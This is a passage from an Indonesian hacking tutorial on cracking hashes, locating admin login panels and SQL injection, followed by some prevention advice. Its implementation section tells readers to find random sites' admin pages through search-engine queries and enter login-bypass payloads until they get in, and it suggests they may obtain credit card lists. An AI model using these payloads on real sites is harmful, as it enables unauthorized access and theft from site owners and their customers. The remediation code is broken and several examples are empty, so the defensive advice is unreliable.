Metode ini cukup efektif, tapi ada kelemahan terbesar pada metode ini, yaitu membutuhkan waktu yang sangat lama untuk men-crack hashnya. Karena semua permutasi karakter untuk password akan dicoba dicocokkan dengan hash yang ingin di-crack. Penulis pernah mencoba untuk men-crack hash yang dibatasi 6 karakter dengan hanya menggunakan karakter huruf kecil, kapital dan angka. Waktu yang dibutuhkan adalah 3 jam lebih. Lalu bagaimana jika passwordnya itu lebih dari 6 karakter, atau bahkan menggunakan kombinasi yang lebih rumit seperti @#%&*#? Misalkan passnya adalah pl4y312_$4n64t_64nt3n6 (md5=740c24b08feaa4a46562124a1283f9a6) ;, bisa dipastikan waktu untuk mengcrack hash tersebut akan memakan waktu yang sangat lama (mungkin sampai anda meninggalpun, hash tersebut belum berhasil
dicrack )

10. Mencari Panel Login Admin
Langkah pertama adalah mencari kolom login pada halaman utama. Jika tidak ada, cari link refer to login admin panel. Jika tidak ada juga, tambahkan pada url salah satu daru query-query atau nama-nama file yang mungkin terdapat panel login admin. Misalnya :
http://www.target.com/admin
http://www.target.com/admin.php
http://www.target.com/admin/login
http://www.target.com/administrator
http://www.target.com/login
Gunakan kreatifitas Anda.

Pada langkah ini cukup banyak attacker yang kesulitan untuk menemukannya. Karena pada beberapa situs, panel login
adminnya disembunyikan oleh admin dengan cara menghindari menamai script file login dari nama-nama yang umum,
misalnya admin.php, administrator.php, ataupun login.php.

Pengertian SQL Injection

1. SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2. SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Sebab terjadinya SQL Injection

1. Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2. Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.

Bug SQL Injection berbahaya ?

1. Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.


Apa saja yang diperlukan untuk melakukan SQL Injection ?

1. Internet Exploler / Browser
2. PC yang terhubung internet
3. Program atau software seperti softice



Contoh sintaks SQL Injection

Contoh sintak SQL dalam PHP

1. $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2. isikan password dengan string ’ or ’’ = ’
3. hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4. maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Gambar contoh SQL Injection

Contoh sintaks SQL Injection

1. Sintaks SQL string ‘-- setelah nama username
2. Query database awal :

Berubah menjadi :


Contoh sintaks SQL Injection

SQL Injection melalui URL, contohnya :

Penanganan SQL Injection

1. Merubah script php
2. Menggunakan MySQL_escape_string
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini

1. Merubah script php

Contoh script php semula :

$query = "select id,name,email,password,type,block from user " .

"where email = '$Email' and password = '$Password'";

$hasil = mySQL_query($query, $id_mySQL);

while($row = mySQL_fetch_row($hasil))

{

$Id = $row[0];

$name = $row[1];

$email = $row[2];

$password = $row[3];

$type = $row[4];

$block = $row[5];

}

if(strcmp($block, 'yes') == 0)

{

echo "\n";

exit();

}

else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :

Maka dilakukan perubahan script menjadi :

$query = "select id,name,email,password,type,block from user".

"where email = '$Email'";

$hasil = mySQL_query($query, $id_mySQL);

while($row = mySQL_fetch_row($hasil))

{

$Id = $row[0];

$name = $row[1];

$email = $row[2];

$password = $row[3];

$type = $row[4];

$block = $row[5];

}

if(strcmp($block, 'yes') == 0)

{

echo "\n";

exit();

}

$pass = md5($Password);

else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string

Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion

Contoh : $kar = “SQL injec’tion”;

$filter = mySQL_escape_string($kar);

echo”Hasil filter : $filter”;

Hasilnya :

3. Pemfilteran karakter ‘ dengan memodifikasi php.ini

Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php

Contoh :

Contoh script yang membatasi karakter yang bisa masukkan :

function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

validatepassword = true
for i = 1 to len( input )

c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection

1. Masuk ke google atau browse yg lain
2. Masukkan salah satu keyword berikut

"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}

3. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4. Masukkan kode berikut :

User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)

5. Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6. Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7. Banyak variasi kode yang mungkin, antara lain :

User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :

‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;

“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x

8. Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara pencegahan SQL INJECTION

1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.


Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

R E F E R E N S I

1. -------------, SQLinjection, (www.BlackAngels.it).
2. -------------, Advanced SQL injection in SQL server applications, (www.ngssoftware.com).
3. -------------, SQL injection walktrough (www.securiteam.com).
4. BM-100, ”Hacking hiltonjakarta.com (SQL Injection)”, 24 Juli 2005, (http://www.jasakom.com).